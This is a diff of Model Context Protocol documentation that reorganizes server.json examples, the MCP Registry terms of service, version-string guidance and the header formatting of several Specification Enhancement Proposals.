`remotes` entry: -Refer to [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md). +```json server.json highlight={11-18} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "com.example/acme-analytics", + "title": "ACME Analytics", + "description": "Real-time business intelligence and reporting platform", + "version": "2.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://analytics.example.com/mcp", + "headers": [ + { + "name": "X-API-Key", + "description": "API key for authentication", + "isRequired": true, + "isSecret": true + } + ] + } + ] +} +``` +## Supporting Remote and Non-remote Installation -# SEP Guidelines -Source: https://modelcontextprotocol.io/community/sep-guidelines +The `remotes` property can coexist with the `packages` property in `server.json` in order to allow MCP host applications to choose the preferred method of installation. -Specification Enhancement Proposal (SEP) guidelines for proposing changes to the Model Context Protocol +```json server.json highlight={7-22} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/email-integration-mcp", + "title": "Email Integration", + "description": "Send emails and manage email accounts", + "version": "1.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://email.example.com/mcp" + } + ], + "packages": [ + { + "registryType": "npm", + "identifier": "@example/email-integration-mcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` -## What is a SEP? -SEP stands for Specification Enhancement Proposal. A SEP is a design document providing information to the MCP community, or describing a new feature for the Model Context Protocol or its processes or environment. The SEP should provide a concise technical specification of the feature and a rationale for the feature. +# Official MCP Registry Terms of Service +Source: https://modelcontextprotocol.io/registry/terms-of-service -We intend SEPs to be the primary mechanisms for proposing major new features, for collecting community input on an issue, and for documenting the design decisions that have gone into MCP. The SEP author is responsible for building consensus within the community and documenting dissenting opinions. -SEPs are maintained as markdown files in the [`seps/` directory](https://github.com/modelcontextprotocol/specification/tree/main/seps) of the specification repository. Their revision history serves as the historical record of the feature proposal. -## What qualifies as a SEP? + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + -The goal is to reserve the SEP process for changes that are substantial enough to require broad community discussion, a formal design document, and a historical record of the decision-making process. A regular GitHub pull request is often more appropriate for smaller, more direct changes. +**Effective date: 2025-09-02** -Consider proposing a SEP if your change involves any of the following: +## Overview -* **A New Feature or Protocol Change**: Any change that adds, modifies, or removes features in the Model Context Protocol. This includes: - * Adding new API endpoints or methods. - * Changing the syntax or semantics of existing data structures or messages. - * Introducing a new standard for interoperability between different MCP-compatible tools. - * Significant changes to how the specification itself is defined, presented, or validated. -* **A Breaking Change**: Any change that is not backwards-compatible. -* **A Change to Governance or Process**: Any proposal that alters the project's decision-making or contribution guidelines (like this document itself). -* **A Complex or Controversial Topic**: If a change is likely to have multiple valid solutions or generate significant debate, the SEP process provides the necessary framework to explore alternatives, document the rationale, and build community consensus before implementation begins. +These terms (“Terms”) govern your access to and use of the official MCP Registry (the service hosted at [https://registry.modelcontextprotocol.io/](https://registry.modelcontextprotocol.io/) or a successor location) (“Registry”), including submissions or publications of MCP servers, references to MCP servers or to data about such servers and/or their developers (“Registry Data”), and related conduct. The Registry is intended to be a centralized repository of MCP servers developed by community members to facilitate easy access by AI applications. -## SEP Types +These terms are governed by the laws of the State of California. -There are three kinds of SEP: +## For All Users -1. A **Standards Track** SEP describes a new feature or implementation for the Model Context Protocol. It may also describe an interoperability standard that will be supported outside the core protocol specification. -2. An **Informational** SEP describes a Model Context Protocol design issue, or provides general guidelines or information to the MCP community, but does not propose a new feature. Informational SEPs do not necessarily represent an MCP community consensus or recommendation. -3. A **Process** SEP describes a process surrounding MCP, or proposes a change to (or an event in) a process. Process SEPs are like Standards Track SEPs but apply to areas other than the MCP protocol itself. +1. No Warranties. The Registry is provided “as is” with no warranties of any kind. That means we don't guarantee the accuracy, completeness, safety, durability, or availability of the Registry, servers included in the registry, or Registry Data. In short, we’re also not responsible for any MCP servers or Registry Data, and we highly recommend that you evaluate each MCP server and its suitability for your intended use case(s) before deciding whether to use it. -## Submitting a SEP +2. Access and Use Requirements. To access or use the Registry, you must: + 1. Be at least 18 years old. + 2. Use the Registry, MCP servers in the Registry, and Registry Data only in ways that are legal under the applicable laws of the United States or other countries including the country in which you are a resident or from which you access and use the Registry, and not be barred from accessing or using the Registry under such laws. You will comply with all applicable law, regulation, and third party rights (including, without limitation, laws regarding the import or export of data or software, privacy, intellectual property, and local laws). You will not use the Registry, MCP servers, or Registry Data to encourage or promote illegal activity or the violation of third party rights or terms of service. + 3. Log in via method(s) approved by the Registry maintainers, which may involve using applications or other software owned by third parties. -The SEP process begins with a new idea for the Model Context Protocol. It is highly recommended that a single SEP contain a single key proposal or new idea. Small enhancements or patches often don't need a SEP and can be injected into the MCP development workflow with a pull request to the MCP repo. The more focused the SEP, the more successful it tends to be. +3. Entity Use. If you are accessing or using the Registry on behalf of an entity, you represent and warrant that you have authority to bind that entity to these Terms. By accepting these Terms, you are doing so on behalf of that entity (and all references to “you” in these Terms refer to that entity). -Each SEP must have an **SEP author** -- someone who writes the SEP using the style and format described below, shepherds the discussions in the appropriate forums, and attempts to build community consensus around the idea. The SEP author should first attempt to ascertain whether the idea is SEP-able. Posting to the MCP community forums (Discord, GitHub Discussions) is the best way to go about this. +4. Account Information. In order to access or use the Registry, you may be required to provide certain information (such as identification or contact details) as part of a registration process or in connection with your access or use of the Registry or MCP servers therein. Any information you give must be accurate and up-to-date, and you agree to inform us promptly of any updates. You understand that your use of the Registry may be monitored to ensure quality and verify your compliance with these Terms. -### SEP Workflow +5. Feedback. You are under no obligation to provide feedback or suggestions. If you provide feedback or suggestions about the Registry or the Model Context Protocol, then we (and those we allow) may use such information without obligation to you. -SEPs are submitted as pull requests to the [`seps/` directory](https://github.com/modelcontextprotocol/specification/tree/main/seps) in the specification repository. The standard SEP workflow is: +6. Branding. Only use the term “Official MCP Registry” where it is clear it refers to the Registry, and does not imply affiliation, endorsement, or sponsorship. For example, you can permissibly say “Acme Inc. keeps its data up to date by automatically pulling data from the Official MCP Registry” or “This data comes from the Official MCP Registry,” but cannot say “This is the website for the Official MCP Registry,” “We’re the premier destination to view Official MCP Registry data,” or “We’ve partnered with the Official MCP Registry to provide this data.” -1. **Draft your SEP** as a markdown file named `0000-your-feature-title.md`, using `0000` as a placeholder for the SEP number. Follow the [SEP format](#sep-format) described below. +7. Modification. We may modify the Terms or any portion to, for example, reflect changes to the law or changes to the Model Context Protocol. We’ll post notice of modifications to the Terms to this website or a successor location. If you do not agree to the modified Terms, you should discontinue your access to and/or use of the Registry. Your continued access to and/or use of the Registry constitutes your acceptance of any modified Terms. -2. **Create a pull request** adding your SEP file to the `seps/` directory in the [specification repository](https://github.com/modelcontextprotocol/specification). +8. Additional Terms. Depending on your intended use case(s), you must also abide by applicable terms below. -3. **Update the SEP number**: Once your PR is created, amend your commit to rename the file using the PR number (e.g., PR #1850 becomes `1850-your-feature-title.md`) and update the SEP header to reference the correct number. +## For MCP Developers -4. **Find a Sponsor**: Tag a Core Maintainer or Maintainer from [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) in your PR to request sponsorship. Maintainers regularly review open proposals to determine which to sponsor. +9. Prohibitions. By accessing and using the Registry, including by submitting MCP servers and/or Registry Data, you agree not to: + 1. Share malicious or harmful content, such as malware, even in good faith or for research purposes, or perform any action with the intent of introducing any viruses, worms, defects, Trojan horses, malware, or any items of a destructive nature; + 2. Defame, abuse, harass, stalk, or threaten others; + 3. Interfere with or disrupt the Registry or any associated servers or networks; + 4. Submit data with the intent of confusing or misleading others, including but not limited to via spam, posting off-topic marketing content, posting MCP servers in a way that falsely implies affiliation with or endorsement by a third party, or repeatedly posting the same or similar MCP servers under different names; + 5. Promote or facilitate unlawful online gambling or disruptive commercial messages or advertisements; + 6. Use the Registry for any activities where the use or failure of the Registry could lead to death, personal injury, or environmental damage; + 7. Use the Registry to process or store any data that is subject to the International Traffic in Arms Regulations maintained by the U.S. Department of State. -5. **Sponsor assigns themselves**: Once a sponsor agrees, they will assign themselves to the PR and update the SEP status to `draft` in the markdown file. +10. License. You agree that metadata about MCP servers you submit (e.g., schema name and description, URLs, identifiers) and other Registry Data is intended to be public, and will be dedicated to the public domain under [CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/). By submitting such data, you agree that you have the legal right to make this dedication (i.e., you own the copyright to these submissions or have permission from the copyright owner(s) to do so) and intend to do so. You understand that this dedication is perpetual, irrevocable, and worldwide, and you waive any moral rights you may have in your contributions to the fullest extent permitted by law. This dedication applies only to Registry Data and not to packages in third party registries that you might point to. -6. **Informal review**: The sponsor reviews the proposal and may request changes based on community feedback. Discussion happens in the PR comments. +11. Privacy and Publicity. You understand that any MCP server metadata you publish may be made public. This includes personal data such as your GitHub username, domain name, or details from your server description. Moreover, you understand that others may process personal information included in your MCP server metadata. For example, subregistries might enrich this data by adding how many stars your GitHub repository has, or perform automated security scanning on your code. By publishing a server, you agree that others may engage in this sort of processing, and you waive rights you might have in some jurisdictions to access, rectify, erase, restrict, or object to such processing. -7. **Formal review**: When the SEP is ready, the sponsor updates the status to `in-review`. The SEP enters formal review by the Core Maintainers team. -8. **Resolution**: The SEP may be `accepted`, `rejected`, or returned for revision. The sponsor updates the status accordingly. +# Versioning Published MCP Servers +Source: https://modelcontextprotocol.io/registry/versioning -9. **Finalization**: Once accepted, the reference implementation must be completed. When complete and incorporated into the specification, the sponsor updates the status to `final`. -If a SEP has not found a sponsor within six months, Core Maintainers may close the PR and mark the SEP as `dormant`. -### SEP Format + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + -Each SEP should have the following parts: +MCP servers **MUST** define a version string in `server.json`. For example: -1. **Preamble** -- A short descriptive title, the names and contact info for each author, the current status, SEP type, and PR number. -2. **Abstract** -- A short (\~200 word) description of the technical issue being addressed. -3. **Motivation** -- The motivation should clearly explain why the existing protocol specification is inadequate to address the problem that the SEP solves. The motivation is critical for SEPs that want to change the Model Context Protocol. SEP submissions without sufficient motivation may be rejected outright. -4. **Specification** -- The technical specification should describe the syntax and semantics of any new protocol feature. The specification should be detailed enough to allow competing, interoperable implementations. -5. **Rationale** -- The rationale explains why particular design decisions were made. It should describe alternate designs that were considered and related work. The rationale should provide evidence of consensus within the community and discuss important objections or concerns raised during discussion. -6. **Backward Compatibility** -- All SEPs that introduce backward incompatibilities must include a section describing these incompatibilities and their severity. The SEP must explain how the author proposes to deal with these incompatibilities. -7. **Reference Implementation** -- The reference implementation must be completed before any SEP is given status "Final", but it need not be completed before the SEP is accepted. While there is merit to the approach of reaching consensus on the specification and rationale before writing code, the principle of "rough consensus and running code" is still useful when it comes to resolving many discussions of protocol details. -8. **Security Implications** -- If there are security concerns in relation to the SEP, those concerns should be explicitly written out to make sure reviewers of the SEP are aware of them. +```json server.json highlight={6} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/email-integration-mcp", + "title": "Email Integration", + "description": "Send emails and manage email accounts", + "version": "1.0.0", + "packages": [ + { + "registryType": "npm", + "identifier": "@username/email-integration-mcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` -See the [SEP template](https://github.com/modelcontextprotocol/specification/blob/main/seps/README.md#sep-file-structure) for the complete file structure. +The version string **MUST** be unique for each publication of the server. Once published, the version string (and other metadata) cannot be changed. -### SEP States +## Version Format -SEPs can be in one of the following states: +The MCP Registry recommends [semantic versioning](https://semver.org/), but supports any version string format. When a server is published, the MCP Registry will attempt to parse its version as a semantic version string for sorting purposes, and will mark the version as "latest" if appropriate. If parsing fails, the version will always be marked as "latest". -* `draft`: SEP proposal with a sponsor, undergoing informal review. -* `in-review`: SEP proposal ready for formal review by Core Maintainers. -* `accepted`: SEP accepted by Core Maintainers, but still requires final wording and reference implementation. -* `rejected`: SEP rejected by Core Maintainers. -* `withdrawn`: SEP withdrawn by the author. -* `final`: SEP finalized with reference implementation complete. -* `superseded`: SEP has been replaced by a newer SEP. -* `dormant`: SEP that has not found a sponsor and was subsequently closed. + + If a server uses semantic version strings but publishes a new version that does *not* conform to semantic versioning, the new version will be marked as "latest" even if it would otherwise be sorted before the semantic version strings. + -### Status Management +As an error prevention mechanism, the MCP Registry prohibits version strings that appear to refer to ranges of versions. -**The Sponsor is responsible for updating the SEP status.** This ensures that status transitions are made by someone with the authority and context to do so appropriately. The sponsor: +| Example | Type | Guidance | +| -------------- | ------------------- | ------------------------------ | +| `1.0.0` | semantic version | **Recommended** | +| `2.1.3-alpha` | semantic prerelease | **Recommended** | +| `1.0.0-beta.1` | semantic prerelease | **Recommended** | +| `3.0.0-rc.2` | semantic prerelease | **Recommended** | +| `2025.11.25` | semantic date | Recommended | +| `2025.6.18` | semantic date | Recommended **(⚠️Caution!⚠️)** | +| `2025.06.18` | non-semantic date | Allowed **(⚠️Caution!⚠️)** | +| `2025-06-18` | non-semantic date | Allowed | +| `v1.0` | prefixed version | Allowed | +| `^1.2.3` | version range | Prohibited | +| `~1.2.3` | version range | Prohibited | +| `>=1.2.3` | version range | Prohibited | +| `<=1.2.3` | version range | Prohibited | +| `>1.2.3` | version range | Prohibited | +| `<1.2.3` | version range | Prohibited | +| `1.x` | version range | Prohibited | +| `1.2.*` | version range | Prohibited | +| `1 - 2` | version range | Prohibited | +| `1.2 \|\| 1.3` | version range | Prohibited | -1. Updates the `Status` field directly in the SEP markdown file -2. Applies matching labels to the pull request (e.g., `draft`, `in-review`, `accepted`) +## Best Practices -Both the markdown status field and PR labels should be kept in sync. The markdown file serves as the canonical record (versioned with the proposal), while PR labels make it easy to filter and search for SEPs by status. +### Use Semantic Versioning -Authors should request status changes through their sponsor rather than modifying the status field or labels themselves. +Use [semantic versioning](https://semver.org/) for version strings. -### SEP Review & Resolution +### Align Server Version with Package Version -SEPs are reviewed by the MCP Core Maintainers team on a bi-weekly basis. +For local servers, align the server version with the underlying package version in order to prevent confusion: -For a SEP to be accepted it must meet certain minimum criteria: +```json server.json highlight={2,7} theme={null} +{ + "version": "1.2.3", + "packages": [ + { + "registryType": "npm", + "identifier": "@my-username/my-server", + "version": "1.2.3", + "transport": { + "type": "stdio" + } + } + ] +} +``` -* A prototype implementation demonstrating the proposal -* Clear benefit to the MCP ecosystem -* Community support and consensus +If there are multiple underlying packages, use the server version to indicate the overall release version: -Once a SEP has been accepted, the reference implementation must be completed. When the reference implementation is complete and incorporated into the main source code repository, the status will be changed to "Final". +```json server.json highlight={2,7,15} theme={null} +{ + "version": "1.3.0", + "packages": [ + { + "registryType": "npm", + "identifier": "@my-username/my-server", + "version": "1.3.0", + "transport": { + "type": "stdio" + } + }, + { + "registryType": "nuget", + "identifier": "MyUsername.MyServer", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ] +} +``` -A SEP can also be "Rejected" or "Withdrawn". A SEP that is "Withdrawn" may be re-submitted at a later date. +### Align Server Version with Remote API Version -## The Sponsor Role +For remote servers with an API version, the server version should align with the API version: -A Sponsor is a Core Maintainer or Maintainer who champions the SEP through the review process. The sponsor's responsibilities include: +```json server.json highlight={2,6} theme={null} +{ + "version": "2.1.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://api.myservice.com/mcp/v2.1" + } + ] +} +``` -* Reviewing the proposal and providing constructive feedback -* Requesting changes based on community input -* **Updating the SEP status** as the proposal progresses through the workflow -* Initiating formal review when the SEP is ready -* Presenting and discussing the proposal at Core Maintainer meetings -* Ensuring the proposal meets quality standards +### Use Prerelease Versions for Registry-only Updates -## Reporting SEP Bugs, or Submitting SEP Updates +If you anticipate publishing a server multiple times *without* changing the underlying package or remote URL — for example, to update other parts of the metadata — use semantic prerelease versions: -How you report a bug, or submit a SEP update depends on several factors, such as the maturity of the SEP, the preferences of the SEP author, and the nature of your comments. For SEPs not yet reaching `final` state, it's probably best to comment directly on the SEP's pull request. Once a SEP is finalized and merged, you may submit updates by creating a new pull request that modifies the SEP file. +```json server.json highlight={2} theme={null} +{ + "version": "1.2.3-1", + "packages": [ + { + "registryType": "npm", + "identifier": "@my-username/my-server", + "version": "1.2.3", + "transport": { + "type": "stdio" + } + } + ] +} +``` -## Transferring SEP Ownership + + According to semantic versioning, prerelease versions such as `1.2.3-1` are sorted before regular semantic versions such as `1.2.3`. Therefore, if you publish a prerelease version *after* its corresponding regular version, the prerelease version will **not** be marked as "latest". + -It occasionally becomes necessary to transfer ownership of SEPs to a new SEP author. In general, we'd like to retain the original author as a co-author of the transferred SEP, but that's really up to the original author. A good reason to transfer ownership is because the original author no longer has the time or interest in updating it or following through with the SEP process, or has fallen off the face of the 'net (i.e. is unreachable or not responding to email). A bad reason to transfer ownership is because you don't agree with the direction of the SEP. We try to build consensus around a SEP, but if that's not possible, you can always submit a competing SEP. +## Aggregator Recommendations -## Copyright +MCP Registry aggregators **SHOULD**: -This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. +1. Attempt to interpret versions as semantic versions when possible +2. Use the following version comparison rules: + * If one version is marked as "latest", treat it as later + * If both versions are valid semantic versions, use semantic versioning comparison rules + * If neither versions are valid semantic versions, compare published timestamp + * If one version is a valid semantic version and the other is not, treat the semantic version as later # SEP-1024: MCP Client Security Requirements for Local Server Installation -Source: https://modelcontextprotocol.io/community/seps/1024-mcp-client-security-requirements-for-local-server- +Source: https://modelcontextprotocol.io/seps/1024-mcp-client-security-requirements-for-local-server- MCP Client Security Requirements for Local Server Installation
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1024 | -| **Title** | MCP Client Security Requirements for Local Server Installation | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-22 | -| **Author(s)** | Den Delimarsky | -| **Sponsor** | None | -| **PR** | [#1024](https://github.com/modelcontextprotocol/specification/pull/1024) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1024 | +| **Title** | MCP Client Security Requirements for Local Server Installation | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-22 | +| **Author(s)** | Den Delimarsky | +| **Sponsor** | None | +| **PR** | [#1024](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1024) | *** @@ -17185,25 +24042,30 @@ These residual risks are addressed through: # SEP-1034: Support default values for all primitive types in elicitation schemas -Source: https://modelcontextprotocol.io/community/seps/1034--support-default-values-for-all-primitive-types-in +Source: https://modelcontextprotocol.io/seps/1034--support-default-values-for-all-primitive-types-in Support default values for all primitive types in elicitation schemas
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1034 | -| **Title** | Support default values for all primitive types in elicitation schemas | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-22 | -| **Author(s)** | Tapan Chugh (chugh.tapan[@gmail](https://github.com/gmail).com) | -| **Sponsor** | None | -| **PR** | [#1034](https://github.com/modelcontextprotocol/specification/pull/1034) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1034 | +| **Title** | Support default values for all primitive types in elicitation schemas | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-22 | +| **Author(s)** | Tapan Chugh (chugh.tapan[@gmail](https://github.com/gmail).com) | +| **Sponsor** | None | +| **PR** | [#1034](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1034) | *** @@ -17345,13 +24207,18 @@ No new security concerns: # SEP-1036: URL Mode Elicitation for secure out-of-band interactions -Source: https://modelcontextprotocol.io/community/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera +Source: https://modelcontextprotocol.io/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera URL Mode Elicitation for secure out-of-band interactions
- Final - Standards Track + + Final + + + + Standards Track +
| Field | Value | @@ -17363,7 +24230,7 @@ URL Mode Elicitation for secure out-of-band interactions | **Created** | 2025-07-22 | | **Author(s)** | Nate Barbettini ([@nbarbettini](https://github.com/nbarbettini)) and Wils Dawson ([@wdawson](https://github.com/wdawson)) | | **Sponsor** | None | -| **PR** | [#1036](https://github.com/modelcontextprotocol/specification/pull/1036) | +| **PR** | [#1036](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1036) | *** @@ -17666,25 +24533,30 @@ This proposal builds upon and complements existing MCP security measures: # SEP-1046: Support OAuth client credentials flow in authorization -Source: https://modelcontextprotocol.io/community/seps/1046-support-oauth-client-credentials-flow-in-authoriza +Source: https://modelcontextprotocol.io/seps/1046-support-oauth-client-credentials-flow-in-authoriza Support OAuth client credentials flow in authorization
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1046 | -| **Title** | Support OAuth client credentials flow in authorization | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-23 | -| **Author(s)** | Darin McAdams ([@D-McAdams](https://github.com/D-McAdams) ) | -| **Sponsor** | None | -| **PR** | [#1046](https://github.com/modelcontextprotocol/specification/pull/1046) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1046 | +| **Title** | Support OAuth client credentials flow in authorization | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-23 | +| **Author(s)** | Darin McAdams ([@D-McAdams](https://github.com/D-McAdams) ) | +| **Sponsor** | None | +| **PR** | [#1046](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1046) | *** @@ -17723,25 +24595,30 @@ The specification refers to the existing OAuth security guidance. # SEP-1302: Formalize Working Groups and Interest Groups in MCP Governance -Source: https://modelcontextprotocol.io/community/seps/1302-formalize-working-groups-and-interest-groups-in-mc +Source: https://modelcontextprotocol.io/seps/1302-formalize-working-groups-and-interest-groups-in-mc Formalize Working Groups and Interest Groups in MCP Governance
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1302 | -| **Title** | Formalize Working Groups and Interest Groups in MCP Governance | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-08-05 | -| **Author(s)** | tadasant | -| **Sponsor** | None | -| **PR** | [#1302](https://github.com/modelcontextprotocol/specification/pull/1302) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1302 | +| **Title** | Formalize Working Groups and Interest Groups in MCP Governance | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-08-05 | +| **Author(s)** | tadasant | +| **Sponsor** | None | +| **PR** | [#1302](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1302) | *** @@ -17964,25 +24841,30 @@ After this SEP is approved, we can ping each of the groups to confirm they are o # SEP-1303: Input Validation Errors as Tool Execution Errors -Source: https://modelcontextprotocol.io/community/seps/1303-input-validation-errors-as-tool-execution-errors +Source: https://modelcontextprotocol.io/seps/1303-input-validation-errors-as-tool-execution-errors Input Validation Errors as Tool Execution Errors
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1303 | -| **Title** | Input Validation Errors as Tool Execution Errors | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-08-05 | -| **Author(s)** | [@fredericbarthelet](https://github.com/fredericbarthelet) | -| **Sponsor** | None | -| **PR** | [#1303](https://github.com/modelcontextprotocol/specification/pull/1303) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1303 | +| **Title** | Input Validation Errors as Tool Execution Errors | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-08-05 | +| **Author(s)** | [@fredericbarthelet](https://github.com/fredericbarthelet) | +| **Sponsor** | None | +| **PR** | [#1303](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1303) | *** @@ -18159,25 +25041,30 @@ Servers implementing the clarified behavior will provide better model self-recov # SEP-1319: Decouple Request Payload from RPC Methods Definition -Source: https://modelcontextprotocol.io/community/seps/1319-decouple-request-payload-from-rpc-methods-definiti +Source: https://modelcontextprotocol.io/seps/1319-decouple-request-payload-from-rpc-methods-definiti Decouple Request Payload from RPC Methods Definition
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1319 | -| **Title** | Decouple Request Payload from RPC Methods Definition | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-08-08 | -| **Author(s)** | [@kurtisvg](https://github.com/kurtisvg) | -| **Sponsor** | None | -| **PR** | [#1319](https://github.com/modelcontextprotocol/specification/pull/1319) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1319 | +| **Title** | Decouple Request Payload from RPC Methods Definition | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-08-08 | +| **Author(s)** | [@kurtisvg](https://github.com/kurtisvg) | +| **Sponsor** | None | +| **PR** | [#1319](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1319) | *** @@ -18259,25 +25146,30 @@ The primary impact is on developers who read the specification and on tools that # SEP-1330: Elicitation Enum Schema Improvements and Standards Compliance -Source: https://modelcontextprotocol.io/community/seps/1330-elicitation-enum-schema-improvements-and-standards +Source: https://modelcontextprotocol.io/seps/1330-elicitation-enum-schema-improvements-and-standards Elicitation Enum Schema Improvements and Standards Compliance
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1330 | -| **Title** | Elicitation Enum Schema Improvements and Standards Compliance | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-08-11 | -| **Author(s)** | chughtapan | -| **Sponsor** | None | -| **PR** | [#1330](https://github.com/modelcontextprotocol/specification/pull/1330) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1330 | +| **Title** | Elicitation Enum Schema Improvements and Standards Compliance | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-08-11 | +| **Author(s)** | chughtapan | +| **Sponsor** | None | +| **PR** | [#1330](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1330) | *** @@ -18698,25 +25590,30 @@ This is our proposal for the replacement of the current `EnumSchema` in the spec # SEP-1577: Sampling With Tools -Source: https://modelcontextprotocol.io/community/seps/1577--sampling-with-tools +Source: https://modelcontextprotocol.io/seps/1577--sampling-with-tools Sampling With Tools
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1577 | -| **Title** | Sampling With Tools | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-09-30 | -| **Author(s)** | Olivier Chafik ([@ochafik](https://github.com/ochafik)) | -| **Sponsor** | None | -| **PR** | [#1577](https://github.com/modelcontextprotocol/specification/pull/1577) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1577 | +| **Title** | Sampling With Tools | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-09-30 | +| **Author(s)** | Olivier Chafik ([@ochafik](https://github.com/ochafik)) | +| **Sponsor** | None | +| **PR** | [#1577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1577) | *** @@ -19089,25 +25986,30 @@ interface CreateMessageRequest { # SEP-1613: Establish JSON Schema 2020-12 as Default Dialect for MCP -Source: https://modelcontextprotocol.io/community/seps/1613-establish-json-schema-2020-12-as-default-dialect-f +Source: https://modelcontextprotocol.io/seps/1613-establish-json-schema-2020-12-as-default-dialect-f Establish JSON Schema 2020-12 as Default Dialect for MCP
- Final - Standards Track + + Final + + + + Standards Track +
-| Field | Value | -| ------------- | ------------------------------------------------------------------------ | -| **SEP** | 1613 | -| **Title** | Establish JSON Schema 2020-12 as Default Dialect for MCP | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-10-06 | -| **Author(s)** | Ola Hungerford | -| **Sponsor** | None | -| **PR** | [#1613](https://github.com/modelcontextprotocol/specification/pull/1613) | +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 1613 | +| **Title** | Establish JSON Schema 2020-12 as Default Dialect for MCP | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-10-06 | +| **Author(s)** | Ola Hungerford | +| **Sponsor** | None | +| **PR** | [#1613](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1613) | *** @@ -19277,25 +26179,30 @@ Personally I'd prefer (1) in the short term and then (2) as a follow-up. # SEP-1686: Tasks -Source: https://modelcontextprotocol.io/community/seps/1686-tasks +Source: https://modelcontextprotocol.io/seps/1686-tasks Tasks
- Final - Standards Track + + Final + + + + Standards Track +
